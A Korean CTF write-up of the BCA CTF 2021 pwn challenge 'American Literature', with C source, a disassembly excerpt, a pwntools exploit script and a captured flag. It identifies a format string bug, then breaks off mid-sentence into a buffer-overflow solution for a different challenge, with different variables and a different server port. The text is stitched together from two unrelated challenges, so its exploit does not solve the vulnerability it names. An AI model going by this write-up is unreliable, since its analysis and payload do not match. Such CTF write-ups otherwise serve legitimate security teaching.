Search

[PWN] American Literature

Year
2021
CTF Name
BCA CTF
Category
PWN
Type
Basic_BOF

1. Description

Writing essays is so much fun! Watch me write all these totally meaningful words about other words... Actually, wait. You shouldn't be reading my essays. Shoo!
nc bin.bcactf.com 49157

2. Write up

#include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> int main() { int length; char essay[50]; ............ FILE *fp = fopen("flag.txt", "r"); char example_essay[100]; if (fp == NULL) { puts("Oh no, I can't find my former students' essays!"); puts("How now will I set the bar redicuolously high for new students??"); puts("[If you are seeing this on the remote server, please contact admin]."); exit(1); } fgets(example_essay, sizeof(example_essay), fp); sleep(1); puts("Actually, on further thought..."); puts("You're a BCA student, you should be able to write a perfect essay immediately."); puts("Let's see it!"); fgets(essay, sizeof(essay), stdin); essay[strcspn(essay, "\n")] = 0; length = strlen(essay); ......... printf("║ "); printf(essay); printf(" ║\n"); ......... }
C
복사
해당 문제에서는 바이너리 파일과 함께 소스코드도 제공하고 있다. 소스코드를 분석하면 아래와 같다.
해당 프로그램은 미국 문학 과목에서 에세이를 작성하는 프로그램이다.
flag.txt파일의 내용을 example_essay배열에 저장하지만 출력해주는 부분은 없다.
사용자한테 데이터를 입력 받아서 essay배열에 저장하고 printf()함수로 배너와 함께 출력한다.
해당 문제는 플래그 파일의 데이터를 스택에 저장하지만 출력하는 부분은 존재하지 않는다. 따라서 정상적인 방식으로는 플래그를 확인할 수 없다.
int main() { ......... printf("║ "); printf(essay); printf(" ║\n"); ......... }
C
복사
우선 코드를 확인해보면 printf()함수를 사용하지만 별도의 포맷을 지정해주지 않고 사용하고 있다. 따라서 해당 문제는 포맷스트링 버그(Format String Bug) 취약점이 존재한다.
하는 gets() 함수를 사용하고 있고 score 변수가 response 배열보다 먼저 정의가 되있기 때문에 스택상 response 배열이 더 위에 존재한다. 따라서 입력값으로 버퍼 오버플로우를 유도해서 score0x73434241값을 넣으면 플래그를 얻을 수 있다.
이때 주의사항으로는 버퍼 오버플로우를 유도했으나 for문에서 score 변수에 점수를 저장하는 루틴이 존재한다. 따라서 첫번째 루프에서 break문을 만나도록 유도해야 한다.
.text:0000000000001289 ; int __cdecl main(int argc, const char **argv, const char **envp) .text:0000000000001289 public main .text:0000000000001289 main proc near ; DATA XREF: _start+21↑o .text:0000000000001289 ; __unwind { .text:0000000000001289 endbr64 .text:000000000000128D push rbp .text:000000000000128E mov rbp, rsp .text:0000000000001291 sub rsp, 50h .text:0000000000001295 mov dword ptr [rbp-4], 1 ...... .text:000000000000152A lea rdi, aAnswerFor1 ; "Answer for 1: " .text:0000000000001531 mov eax, 0 .text:0000000000001536 call F_printf .text:000000000000153B lea rax, [rbp-50h] .text:000000000000153F mov rdi, rax .text:0000000000001542 mov eax, 0 .text:0000000000001547 call F_scanf
C
복사
score 변수의 위치와 response 배열의 위치는 디스어셈블러를 활용하면 정확하게 확인할 수 있다. grade 변수는 [rbp-4]에 위치하고 있고 response 배열은 [rbp-50h] 위치에 존재한다. 따라서 정답을 피해가는 선에서 (0x50-4) byte만큼 임의의 값을 입력해주고 0x73434241값을 입력해주면 플래그를 얻을 수 있다.
from pwn import * r = remote("bin.bcactf.com", 49154) print r.recvuntil("Answer for 1: ") payload = "" payload += "A" * (0x50-4) payload += p64(0x73434241) r.sendline(payload) print r.recv(2048) r.interactive()
Python
복사

3. FLAG

bcactf{bca_is_taking_APs_in_june_aaaaaaaa_wish_past_me_luck}